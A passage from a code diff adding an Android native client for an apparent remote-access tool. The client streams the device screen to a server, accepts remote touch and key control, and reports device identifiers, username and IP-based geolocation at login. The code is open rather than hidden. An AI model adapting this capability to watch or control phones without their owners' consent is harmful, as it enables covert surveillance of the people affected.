|
||||
// 1 = top-down H264(Android MediaCodec 标准编码顺序);
|
||||
// 服务端据此用负步长写 DIB,抵消 GDI bottom-up 翻转
|
||||
m_bmpHdr.biClrImportant = 1;
|
||||
|
||||
m_sendThread = std::thread(&AndroidScreenHandler::SendLoop, this);
|
||||
}
|
||||
|
||||
~AndroidScreenHandler() {
|
||||
m_running = false;
|
||||
m_cond.notify_all();
|
||||
if (m_sendThread.joinable())
|
||||
m_sendThread.join();
|
||||
}
|
||||
|
||||
// 子连接建立后立即调用,告知服务端屏幕尺寸和编码格式
|
||||
void SendBitmapInfo() {
|
||||
const uint32_t total = 1 + sizeof(BmpInfoHeader) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings);
|
||||
std::vector<uint8_t> buf(total, 0);
|
||||
|
||||
buf[0] = TOKEN_BITMAPINFO;
|
||||
memcpy(&buf[1], &m_bmpHdr, sizeof(BmpInfoHeader));
|
||||
|
||||
uint64_t clientID = g_myClientID;
|
||||
uint64_t zero = 0;
|
||||
size_t off = 1 + sizeof(BmpInfoHeader);
|
||||
memcpy(&buf[off], &clientID, 8);
|
||||
memcpy(&buf[off + 8], &zero, 8);
|
||||
|
||||
ScreenSettings ss = {};
|
||||
ss.MaxFPS = 10;
|
||||
ss.ScreenWidth = m_width;
|
||||
ss.ScreenHeight = m_height;
|
||||
ss.QualityLevel = QUALITY_GOOD; // 告知服务端使用 H264 解码器
|
||||
ss.ScreenType = USING_VIRTUAL; // 虚拟显示
|
||||
memcpy(&buf[off + 16], &ss, sizeof(ss));
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), total);
|
||||
LOGI_SH("SendBitmapInfo %dx%d clientID=%" PRIu64, m_width, m_height, clientID);
|
||||
|
||||
// H.264 是推送模式,不需要等 COMMAND_NEXT 才开始发帧。
|
||||
// 服务端在 auth 通过瞬间发 COMMAND_NEXT,此时 setManagerCallBack 尚未注册,
|
||||
// 消息被 WorkThread 丢弃,m_started 永远 false 导致帧全部卡在队列里。
|
||||
m_started = true;
|
||||
m_cond.notify_all();
|
||||
}
|
||||
|
||||
// 由 JNI 线程调用,投递 MediaCodec 输出的 NALU
|
||||
void OnFrameData(const uint8_t* data, uint32_t size, bool isKeyframe) {
|
||||
if (!m_running || size == 0) return;
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(m_mutex);
|
||||
while (m_queue.size() >= 6) m_queue.pop();
|
||||
m_queue.push({std::vector<uint8_t>(data, data + size), isKeyframe});
|
||||
}
|
||||
m_cond.notify_one();
|
||||
}
|
||||
|
||||
virtual VOID OnReceive(PBYTE data, ULONG size) override {
|
||||
if (!size) return;
|
||||
switch (data[0]) {
|
||||
case COMMAND_NEXT:
|
||||
// 推送模式下已在 SendBitmapInfo 里开始推流;此处保留兼容,无副作用。
|
||||
LOGI_SH("COMMAND_NEXT received");
|
||||
m_started = true;
|
||||
m_cond.notify_all();
|
||||
break;
|
||||
case CMD_QUALITY_LEVEL:
|
||||
if (size >= 2) LOGI_SH("QualityLevel=%d", (int)(int8_t)data[1]);
|
||||
break;
|
||||
case COMMAND_SCREEN_CONTROL: {
|
||||
// 服务端通过子连接下发鼠标/键盘控制包(MSG64 固定 48 字节)
|
||||
// 坐标从 lParam(offset 24)读取,与 Windows/Linux/macOS 客户端一致:
|
||||
// lParam = MAKELPARAM(enc_x, enc_y),低16位=x,高16位=y。
|
||||
// 不读 pt.x/pt.y (offset 40/44):64-bit MSG 的 pt 在 offset 36,
|
||||
// 与 MSG64 offset 40 不同,直接读会得到错误坐标。
|
||||
if ((ULONG)size < 1 + 48u) break;
|
||||
const uint8_t* p = data + 1;
|
||||
uint64_t msgVal = 0, wParam = 0, lParam = 0;
|
||||
memcpy(&msgVal, p + 8, 8);
|
||||
memcpy(&wParam, p + 16, 8);
|
||||
memcpy(&lParam, p + 24, 8);
|
||||
int32_t ptX = (int32_t)(int16_t)(lParam & 0xFFFF);
|
||||
int32_t ptY = (int32_t)(int16_t)((lParam >> 16) & 0xFFFF);
|
||||
DispatchControlEvent((uint32_t)msgVal, wParam, ptX, ptY);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private:
|
||||
struct Frame { std::vector<uint8_t> data; bool isKeyframe; };
|
||||
|
||||
IOCPClient* m_client;
|
||||
int m_width, m_height;
|
||||
std::atomic<bool> m_started;
|
||||
std::atomic<bool> m_running;
|
||||
std::atomic<bool> m_firstSent;
|
||||
std::atomic<bool> m_skipLogged{false};
|
||||
|
||||
BmpInfoHeader m_bmpHdr;
|
||||
|
||||
std::queue<Frame> m_queue;
|
||||
std::mutex m_mutex;
|
||||
std::condition_variable m_cond;
|
||||
std::thread m_sendThread;
|
||||
|
||||
void SendLoop() {
|
||||
while (m_running) {
|
||||
std::unique_lock<std::mutex> lk(m_mutex);
|
||||
m_cond.wait(lk, [&]{ return (!m_queue.empty() && m_started) || !m_running; });
|
||||
if (!m_running) break;
|
||||
|
||||
Frame f = std::move(m_queue.front());
|
||||
m_queue.pop();
|
||||
lk.unlock();
|
||||
|
||||
// 第一帧必须是关键帧
|
||||
if (!m_firstSent && !f.isKeyframe) {
|
||||
if (!m_skipLogged.exchange(true))
|
||||
LOGI_SH("SendLoop: waiting for first IDR, skipping P-frames");
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!m_firstSent)
|
||||
LOGI_SH("SendH264 first IDR size=%u", (uint32_t)f.data.size());
|
||||
SendH264(f.data.data(), (uint32_t)f.data.size());
|
||||
m_firstSent = true;
|
||||
}
|
||||
}
|
||||
|
||||
// 格式: [TOKEN_NEXTSCREEN:1][ALGORITHM_H264:1][cursorX:4][cursorY:4][cursorType:1][NALU:N]
|
||||
void SendH264(const uint8_t* nalu, uint32_t naluSize) {
|
||||
const uint32_t hdrSize = 1 + 1 + 4 + 4 + 1;
|
||||
std::vector<uint8_t> pkt(hdrSize + naluSize);
|
||||
|
||||
pkt[0] = TOKEN_NEXTSCREEN;
|
||||
pkt[1] = ALGORITHM_H264;
|
||||
// cursor: (0,0), type: IDC_ARROW=1
|
||||
memset(&pkt[2], 0, 8);
|
||||
pkt[10] = 1;
|
||||
memcpy(&pkt[hdrSize], nalu, naluSize);
|
||||
|
||||
m_client->Send2Server((char*)pkt.data(), pkt.size());
|
||||
}
|
||||
};
|
||||
24
android/app/src/main/cpp/android_compat.h
Normal file
@@ -0,0 +1,24 @@
|
||||
// android_compat.h - Android NDK 兼容垫片,通过 CMake force-include 注入每个源文件
|
||||
// 不修改任何共用代码(client/、common/)
|
||||
#pragma once
|
||||
#ifdef __ANDROID__
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
#include <cstring>
|
||||
#include <cstdlib>
|
||||
|
||||
// strcpy_s(dest, src) — MSVC 2-arg 扩展,Android NDK 无此签名
|
||||
template<size_t N>
|
||||
inline int strcpy_s(char (&dest)[N], const char* src) {
|
||||
strncpy(dest, src ? src : "", N - 1);
|
||||
dest[N - 1] = '\0';
|
||||
return 0;
|
||||
}
|
||||
#endif // __cplusplus
|
||||
|
||||
// rand_s — Windows 安全随机数,Android 用 arc4random 替代
|
||||
#define rand_s(p) (*(p) = (unsigned int)arc4random(), 0)
|
||||
|
||||
#endif // __ANDROID__
|
||||
BIN
android/app/src/main/cpp/lib/arm64-v8a/libsign.a
Normal file
BIN
android/app/src/main/cpp/lib/arm64-v8a/libzstd.a
Normal file
BIN
android/app/src/main/cpp/lib/armeabi-v7a/libsign.a
Normal file
BIN
android/app/src/main/cpp/lib/armeabi-v7a/libzstd.a
Normal file
662
android/app/src/main/cpp/main.cpp
Normal file
@@ -0,0 +1,662 @@
|
||||
#include <jni.h>
|
||||
#include <android/log.h>
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
#include <mutex>
|
||||
#include <set>
|
||||
#include <string>
|
||||
#include <cstring>
|
||||
#include <cinttypes>
|
||||
#include <cstdio>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netdb.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#include "common/commands.h"
|
||||
#include "common/client_auth_state.h"
|
||||
#include "common/rtt_estimator.h"
|
||||
#include "client/IOCPClient.h"
|
||||
#include "ScreenHandler.h"
|
||||
#define XXH_INLINE_ALL
|
||||
#include "common/xxhash.h"
|
||||
|
||||
#define LOG_TAG "YAMA"
|
||||
#undef Mprintf
|
||||
#define Mprintf(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
|
||||
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
|
||||
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
|
||||
|
||||
// ---- 设备信息 helper(登录时填充,仅调用一次)----
|
||||
|
||||
static int GetCpuCores() {
|
||||
long n = sysconf(_SC_NPROCESSORS_ONLN);
|
||||
return (n > 0) ? (int)n : 1;
|
||||
}
|
||||
|
||||
static double GetMemoryGB() {
|
||||
FILE* f = fopen("/proc/meminfo", "r");
|
||||
if (!f) return 0.0;
|
||||
char line[128];
|
||||
unsigned long kb = 0;
|
||||
while (fgets(line, sizeof(line), f)) {
|
||||
if (sscanf(line, "MemTotal: %lu kB", &kb) == 1) break;
|
||||
}
|
||||
fclose(f);
|
||||
return kb / (1024.0 * 1024.0);
|
||||
}
|
||||
|
||||
// 遍历 cpu0-cpu7,取 cpuinfo_max_freq 最大值(大核频率)
|
||||
static int GetCpuMHz() {
|
||||
// 优先从 sysfs 读取(真机有效)
|
||||
unsigned long maxKhz = 0;
|
||||
char path[80];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
snprintf(path, sizeof(path),
|
||||
"/sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq", i);
|
||||
FILE* f = fopen(path, "r");
|
||||
if (!f) continue;
|
||||
unsigned long khz = 0;
|
||||
if (fscanf(f, "%lu", &khz) == 1 && khz > maxKhz) maxKhz = khz;
|
||||
fclose(f);
|
||||
}
|
||||
if (maxKhz > 0) return (int)(maxKhz / 1000);
|
||||
|
||||
// 回退:解析 /proc/cpuinfo 中的 "BogoMIPS"(模拟器可用)
|
||||
FILE* f = fopen("/proc/cpuinfo", "r");
|
||||
if (!f) return 0;
|
||||
char line[128];
|
||||
double bogomips = 0;
|
||||
while (fgets(line, sizeof(line), f)) {
|
||||
if (sscanf(line, "BogoMIPS : %lf", &bogomips) == 1 ||
|
||||
sscanf(line, "bogomips : %lf", &bogomips) == 1) break;
|
||||
}
|
||||
fclose(f);
|
||||
return bogomips > 0 ? (int)bogomips : 0;
|
||||
}
|
||||
|
||||
static long GetFileSize(const std::string& path) {
|
||||
if (path.empty()) return 0;
|
||||
struct stat st;
|
||||
return (stat(path.c_str(), &st) == 0) ? (long)st.st_size : 0;
|
||||
}
|
||||
|
||||
static std::string FormatFileSize(long bytes) {
|
||||
char buf[32];
|
||||
if (bytes >= 1024 * 1024)
|
||||
snprintf(buf, sizeof(buf), "%.1fM", bytes / (1024.0 * 1024.0));
|
||||
else if (bytes >= 1024)
|
||||
snprintf(buf, sizeof(buf), "%.1fK", bytes / 1024.0);
|
||||
else
|
||||
snprintf(buf, sizeof(buf), "%ldB", bytes);
|
||||
return buf;
|
||||
}
|
||||
|
||||
// 从 JSON 字符串中提取字符串字段值
|
||||
static std::string JsonGetStr(const std::string& json, const char* key) {
|
||||
std::string needle = std::string("\"") + key + "\":";
|
||||
auto pos = json.find(needle);
|
||||
if (pos == std::string::npos) return "";
|
||||
pos += needle.size();
|
||||
while (pos < json.size() && json[pos] == ' ') pos++;
|
||||
if (pos >= json.size() || json[pos] != '"') return "";
|
||||
pos++;
|
||||
auto end = json.find('"', pos);
|
||||
return (end == std::string::npos) ? "" : json.substr(pos, end - pos);
|
||||
}
|
||||
|
||||
// 查询 ip-api.com,一次请求同时获取公网 IP 和地理位置(与 Windows 客户端同源)
|
||||
// 在连接线程中同步调用,超时 3 秒
|
||||
static bool FetchGeoInfo(std::string& pubIp, std::string& location) {
|
||||
pubIp.clear(); location.clear();
|
||||
|
||||
struct addrinfo hints = {}, *res = nullptr;
|
||||
hints.ai_family = AF_INET;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
if (getaddrinfo("ip-api.com", "80", &hints, &res) != 0 || !res) return false;
|
||||
|
||||
int fd = ::socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (fd < 0) { freeaddrinfo(res); return false; }
|
||||
|
||||
struct timeval tv = {3, 0};
|
||||
setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
bool ok = false;
|
||||
if (connect(fd, res->ai_addr, res->ai_addrlen) == 0) {
|
||||
const char* req = "GET /json/?fields=status,query,country,city HTTP/1.0\r\n"
|
||||
"Host: ip-api.com\r\n"
|
||||
"Connection: close\r\n\r\n";
|
||||
send(fd, req, strlen(req), 0);
|
||||
|
||||
std::string resp;
|
||||
char buf[512];
|
||||
ssize_t n;
|
||||
while ((n = recv(fd, buf, sizeof(buf), 0)) > 0) resp.append(buf, (size_t)n);
|
||||
|
||||
auto sep = resp.find("\r\n\r\n");
|
||||
if (sep != std::string::npos) {
|
||||
const std::string body = resp.substr(sep + 4);
|
||||
if (JsonGetStr(body, "status") == "success") {
|
||||
pubIp = JsonGetStr(body, "query");
|
||||
std::string city = JsonGetStr(body, "city");
|
||||
std::string country = JsonGetStr(body, "country");
|
||||
if (!city.empty() && !country.empty()) location = city + ", " + country;
|
||||
else if (!country.empty()) location = country;
|
||||
else if (!city.empty()) location = city;
|
||||
ok = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
close(fd);
|
||||
freeaddrinfo(res);
|
||||
return ok;
|
||||
}
|
||||
|
||||
// ---- 全局状态 ----
|
||||
// CPP-06: g_bExit 是全局变量,跨调用边界不会被编译器缓存进寄存器;
|
||||
// IOCPClient 构造接受 const State& 持有引用,不能改为 atomic/volatile,
|
||||
// 直接用 State;ARM 4 字节对齐写入硬件层面原子,实际安全。
|
||||
State g_bExit{S_CLIENT_NORMAL};
|
||||
uint64_t g_myClientID = 0; // sub_conn_thread.h 需要的外部符号
|
||||
static std::atomic<bool> g_running{false};
|
||||
static std::atomic<uint64_t> g_lastHeartbeatAckMs{0};
|
||||
|
||||
// ---- JNI 反向调用(DataProcess → ControlService / CaptureService)----
|
||||
static JavaVM* g_jvm = nullptr;
|
||||
static jclass g_ctrlClass = nullptr;
|
||||
static jmethodID g_ctrlMethod = nullptr;
|
||||
static jmethodID g_getActiveWindowMid = nullptr;
|
||||
// CaptureService.requestIdr() / forceFirstFrame() — ScreenSpyThread 子连接建立后触发
|
||||
static jclass g_captureClass = nullptr;
|
||||
static jmethodID g_requestIdrMid = nullptr;
|
||||
static jmethodID g_forceFirstFrameMid = nullptr;
|
||||
|
||||
// 心跳日志限流:每 60 秒最多打一次
|
||||
static std::atomic<uint64_t> g_lastHbLogMs{0};
|
||||
|
||||
static constexpr uint64_t HB_LOG_INTERVAL_MS = 60000;
|
||||
|
||||
// 供主连接和子连接共同调用:把 COMMAND_SCREEN_CONTROL 路由到 ControlService.onControlEvent()
|
||||
// 定义在全局函数区;ScreenHandler.h 通过 extern 声明使用。
|
||||
void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY)
|
||||
{
|
||||
if (!g_jvm || !g_ctrlClass || !g_ctrlMethod) {
|
||||
LOGE("SCREEN_CONTROL: JNI not ready (ctrl=%p method=%p)", g_ctrlClass, g_ctrlMethod);
|
||||
return;
|
||||
}
|
||||
if (msgVal != 0x200u)
|
||||
LOGI("SCREEN_CONTROL: msg=0x%X pt=(%d,%d)", msgVal, ptX, ptY);
|
||||
|
||||
JNIEnv* jenv = nullptr;
|
||||
bool attached = false;
|
||||
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
|
||||
if (st == JNI_EDETACHED) {
|
||||
// CPP-03 fix: 检查 AttachCurrentThread 返回值,失败时 jenv 仍为 null
|
||||
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
|
||||
attached = true;
|
||||
} else if (st != JNI_OK || !jenv) {
|
||||
return;
|
||||
}
|
||||
jenv->CallStaticVoidMethod(g_ctrlClass, g_ctrlMethod,
|
||||
(jint)msgVal, (jlong)wParam, (jint)ptX, (jint)ptY);
|
||||
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
|
||||
if (attached) g_jvm->DetachCurrentThread();
|
||||
}
|
||||
|
||||
static std::string GetActiveWindowFromJava()
|
||||
{
|
||||
if (!g_jvm || !g_ctrlClass || !g_getActiveWindowMid) return "Android";
|
||||
JNIEnv* jenv = nullptr;
|
||||
bool attached = false;
|
||||
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
|
||||
if (st == JNI_EDETACHED) {
|
||||
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return "Android";
|
||||
attached = true;
|
||||
} else if (st != JNI_OK || !jenv) {
|
||||
return "Android";
|
||||
}
|
||||
jstring js = (jstring)jenv->CallStaticObjectMethod(g_ctrlClass, g_getActiveWindowMid);
|
||||
std::string result = "Android";
|
||||
if (js && !jenv->ExceptionOccurred()) {
|
||||
const char* c = jenv->GetStringUTFChars(js, nullptr);
|
||||
if (c) { result = c; jenv->ReleaseStringUTFChars(js, c); }
|
||||
jenv->DeleteLocalRef(js);
|
||||
}
|
||||
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
|
||||
if (attached) g_jvm->DetachCurrentThread();
|
||||
return result;
|
||||
}
|
||||
|
||||
// 服务器连接参数
|
||||
static std::string g_serverIp;
|
||||
static int g_serverPort = 443;
|
||||
|
||||
// 设备信息(nativeInit 传入)
|
||||
static std::string g_androidId;
|
||||
static std::string g_deviceModel;
|
||||
static std::string g_androidVersion;
|
||||
static std::string g_screenRes;
|
||||
static std::string g_username;
|
||||
static std::string g_apkPath;
|
||||
|
||||
// 屏幕尺寸(Java 侧 MediaCodec 配置后通过 nativeSetScreenSize 设置)
|
||||
// 初始化为 0;ScreenSpyThread 等到非零后再读,避免在 nativeSetScreenSize 之前
|
||||
// 拿到默认值 1280×720 发给服务端导致 decoder 尺寸错误黑屏。
|
||||
static std::atomic<int> g_screenWidth{0};
|
||||
static std::atomic<int> g_screenHeight{0};
|
||||
|
||||
// 活跃子连接的 handler 集合(受 g_shMutex 保护);支持多个浏览者/控制者同时连接
|
||||
static std::set<AndroidScreenHandler*> g_screenHandlers;
|
||||
static std::mutex g_shMutex;
|
||||
|
||||
// ------------------------------------------------------------------ 屏幕子连接线程
|
||||
// 通过 JNI 调用 CaptureService 的静态方法,复用同一套 attach/detach 模板。
|
||||
static void CallCaptureStaticVoid(jmethodID mid)
|
||||
{
|
||||
if (!g_jvm || !g_captureClass || !mid) return;
|
||||
JNIEnv* jenv = nullptr;
|
||||
bool attached = false;
|
||||
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
|
||||
if (st == JNI_EDETACHED) {
|
||||
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
|
||||
attached = true;
|
||||
} else if (st != JNI_OK || !jenv) {
|
||||
return;
|
||||
}
|
||||
jenv->CallStaticVoidMethod(g_captureClass, mid);
|
||||
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
|
||||
if (attached) g_jvm->DetachCurrentThread();
|
||||
}
|
||||
|
||||
// 触发编码器输出关键帧(setParameters REQUEST_SYNC_FRAME)
|
||||
static void RequestIdrFromJava() { CallCaptureStaticVoid(g_requestIdrMid); }
|
||||
|
||||
// 强制 VirtualDisplay 推一帧(静止屏幕绕过 SurfaceFlinger 空闲优化)
|
||||
static void ForceFirstFrameFromJava() { CallCaptureStaticVoid(g_forceFirstFrameMid); }
|
||||
|
||||
static void ScreenSpyThread()
|
||||
{
|
||||
// 等待 Java 侧 startCapture() 调用 nativeSetScreenSize 设置真实分辨率。
|
||||
// 若在此之前读到默认值 0,SendBitmapInfo 会发错误尺寸给服务端,
|
||||
// 导致浏览器 initDecoder 尺寸与 H.264 SPS 不一致 → decode error → 黑屏。
|
||||
for (int i = 0; i < 100 && g_screenWidth.load() == 0 && g_running.load(); ++i)
|
||||
Sleep(50); // 最多等 5 秒
|
||||
|
||||
int w = g_screenWidth.load();
|
||||
int h = g_screenHeight.load();
|
||||
if (w == 0 || h == 0) {
|
||||
LOGE("ScreenSpyThread: screen size not set after 5s, abort");
|
||||
return;
|
||||
}
|
||||
LOGI("ScreenSpyThread start → %s:%d size=%dx%d", g_serverIp.c_str(), g_serverPort, w, h);
|
||||
|
||||
// 服务端只发一次 COMMAND_SCREEN_SPY 就等子连接,子连接失败必须自己重试
|
||||
for (int attempt = 1; attempt <= 20 && S_CLIENT_NORMAL == g_bExit && g_running.load(); ++attempt) {
|
||||
// 声明在 try 外部,确保 catch 中 handler 仍有效,可安全从 g_screenHandlers 移除
|
||||
std::unique_ptr<IOCPClient> client;
|
||||
std::unique_ptr<AndroidScreenHandler> handler;
|
||||
try {
|
||||
client = std::make_unique<IOCPClient>(g_bExit, true);
|
||||
client->EnableSubConnAuth(true, g_myClientID);
|
||||
|
||||
if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) {
|
||||
LOGI("ScreenSpyThread: connect failed (attempt %d/20), retry 2s", attempt);
|
||||
Sleep(2000);
|
||||
continue;
|
||||
}
|
||||
|
||||
handler = std::make_unique<AndroidScreenHandler>(client.get(), w, h);
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_shMutex);
|
||||
g_screenHandlers.insert(handler.get());
|
||||
}
|
||||
|
||||
client->setManagerCallBack(handler.get(),
|
||||
IOCPManager::DataProcess,
|
||||
IOCPManager::ReconnectProcess);
|
||||
handler->SendBitmapInfo();
|
||||
// 子连接刚建立,浏览器 initDecoder 完成后需要关键帧才能开始显示。
|
||||
// ForceFirstFrameFromJava:短暂 resize VirtualDisplay 强制 SurfaceFlinger
|
||||
// 推一帧给编码器——静止屏幕时 SurfaceFlinger 有空闲优化不主动推帧,
|
||||
// 导致 REQUEST_SYNC_FRAME 排队等待,造成 10-60 秒黑屏。
|
||||
// RequestIdrFromJava 确保此帧被编码为 IDR。
|
||||
ForceFirstFrameFromJava();
|
||||
RequestIdrFromJava();
|
||||
|
||||
while (client->IsRunning() && client->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(200);
|
||||
|
||||
client->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_shMutex);
|
||||
g_screenHandlers.erase(handler.get());
|
||||
}
|
||||
} catch (const std::exception& e) {
|
||||
LOGE("ScreenSpyThread exception (attempt %d): %s", attempt, e.what());
|
||||
// 先清除回调,再析构 handler:防止 client 在 handler 析构后仍持有其指针
|
||||
if (client) client->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
if (handler) {
|
||||
std::lock_guard<std::mutex> lk(g_shMutex);
|
||||
g_screenHandlers.erase(handler.get());
|
||||
}
|
||||
Sleep(2000);
|
||||
continue;
|
||||
}
|
||||
break; // 正常结束,不再重试
|
||||
}
|
||||
LOGI("ScreenSpyThread exit");
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ DataProcess
|
||||
int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (!szBuffer || !ulLength) return TRUE;
|
||||
|
||||
if (!ClientAuth::IsCommandAllowed(szBuffer[0]))
|
||||
return TRUE;
|
||||
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_BYE:
|
||||
LOGI("COMMAND_BYE");
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
break;
|
||||
|
||||
case CMD_HEARTBEAT_ACK:
|
||||
if (ulLength >= 1 + (ULONG)sizeof(HeartbeatACK)) {
|
||||
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
|
||||
uint64_t now = GetUnixMs();
|
||||
g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed);
|
||||
int64_t rtt = (int64_t)now - (int64_t)ack->Time;
|
||||
if (ack->ProcessingMs > 0 && (int64_t)ack->ProcessingMs < rtt)
|
||||
rtt -= ack->ProcessingMs;
|
||||
g_rttEstimator.update_from_sample((double)rtt);
|
||||
if (now - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) {
|
||||
g_lastHbLogMs.store(now, std::memory_order_relaxed);
|
||||
LOGI("HeartbeatACK RTT=%" PRId64 "ms SRTT=%.1fms", rtt, g_rttEstimator.srtt * 1000.0);
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case CMD_MASTERSETTING: {
|
||||
MasterSettings settings;
|
||||
if (ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
|
||||
if (settings.ReportInterval > 0)
|
||||
g_heartbeatInterval = std::max(settings.ReportInterval, 30);
|
||||
LOGI("MasterSettings OK interval=%ds (server=%d)", g_heartbeatInterval, settings.ReportInterval);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SCREEN_SPY: {
|
||||
// 每个 COMMAND_SCREEN_SPY 对应一个独立子连接,支持多人同时观看/控制
|
||||
size_t active;
|
||||
{ std::lock_guard<std::mutex> lk(g_shMutex); active = g_screenHandlers.size(); }
|
||||
LOGI("COMMAND_SCREEN_SPY → ScreenSpyThread (active=%zu)", active);
|
||||
std::thread(ScreenSpyThread).detach();
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SCREEN_CONTROL: {
|
||||
if (ulLength < 1 + 48u) { LOGI("SCREEN_CONTROL(main): too short %u", ulLength); break; }
|
||||
const uint8_t* p = szBuffer + 1;
|
||||
uint64_t msgVal = 0, wParam = 0, lParam = 0;
|
||||
memcpy(&msgVal, p + 8, 8);
|
||||
memcpy(&wParam, p + 16, 8);
|
||||
memcpy(&lParam, p + 24, 8);
|
||||
int32_t ptX = (int32_t)(int16_t)(lParam & 0xFFFF);
|
||||
int32_t ptY = (int32_t)(int16_t)((lParam >> 16) & 0xFFFF);
|
||||
DispatchControlEvent((uint32_t)msgVal, wParam, ptX, ptY);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SHELL:
|
||||
LOGI("COMMAND_SHELL (not implemented)");
|
||||
break;
|
||||
|
||||
case COMMAND_SYSTEM:
|
||||
LOGI("COMMAND_SYSTEM (not implemented)");
|
||||
break;
|
||||
|
||||
default:
|
||||
LOGI("Unhandled cmd=%d", (int)szBuffer[0]);
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------ 网络主线程
|
||||
static void ConnectionThread()
|
||||
{
|
||||
LOGI("ConnectionThread → %s:%d", g_serverIp.c_str(), g_serverPort);
|
||||
|
||||
std::string g_pubIp, g_location;
|
||||
FetchGeoInfo(g_pubIp, g_location);
|
||||
// 失败时留空串——服务端检测到空串会回落到自己的 IP 地理查询;
|
||||
// 发 "?" 会被服务端当作有效值缓存,导致永远显示问号
|
||||
LOGI("GeoInfo: ip=%s loc=%s", g_pubIp.c_str(), g_location.c_str());
|
||||
|
||||
LOGIN_INFOR logInfo;
|
||||
strncpy(logInfo.szPCName, g_deviceModel.c_str(), sizeof(logInfo.szPCName) - 1);
|
||||
strncpy(logInfo.OsVerInfoEx, g_androidVersion.c_str(), sizeof(logInfo.OsVerInfoEx) - 1);
|
||||
strncpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str(), sizeof(logInfo.szStartTime) - 1);
|
||||
logInfo.dwCPUMHz = GetCpuMHz();
|
||||
logInfo.bWebCamIsExist = 0;
|
||||
|
||||
g_myClientID = XXH64(g_androidId.c_str(), g_androidId.size(), 0);
|
||||
|
||||
logInfo.AddReserved("APK");
|
||||
logInfo.AddReserved(64); // OS bits
|
||||
logInfo.AddReserved(GetCpuCores()); // CPU 核数
|
||||
logInfo.AddReserved(GetMemoryGB()); // 内存 GB
|
||||
logInfo.AddReserved(g_apkPath.empty() ? "/data/app/com.yama.client"
|
||||
: g_apkPath.c_str()); // 文件路径
|
||||
logInfo.AddReserved("?");
|
||||
logInfo.AddReserved(logInfo.szStartTime);
|
||||
logInfo.AddReserved("?");
|
||||
logInfo.AddReserved(64); // 程序位数
|
||||
logInfo.AddReserved("");
|
||||
logInfo.AddReserved(g_location.c_str()); // [10] 地理位置
|
||||
logInfo.AddReserved(g_pubIp.c_str()); // [11] 公网 IP
|
||||
logInfo.AddReserved("v1.0.0");
|
||||
logInfo.AddReserved(g_username.c_str());
|
||||
logInfo.AddReserved(0); // IsRunningAsAdmin
|
||||
logInfo.AddReserved(g_screenRes.c_str());
|
||||
logInfo.AddReserved(std::to_string(g_myClientID).c_str());
|
||||
logInfo.AddReserved((int)getpid()); // PID
|
||||
logInfo.AddReserved(FormatFileSize(GetFileSize(g_apkPath)).c_str()); // 文件大小
|
||||
|
||||
ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
|
||||
LOGI("ClientID=%" PRIu64, g_myClientID);
|
||||
|
||||
std::unique_ptr<IOCPClient> client(new IOCPClient(g_bExit, false));
|
||||
client->setManagerCallBack(nullptr, DataProcess, nullptr);
|
||||
|
||||
while (S_CLIENT_NORMAL == g_bExit && g_running.load()) {
|
||||
clock_t c = clock();
|
||||
if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) {
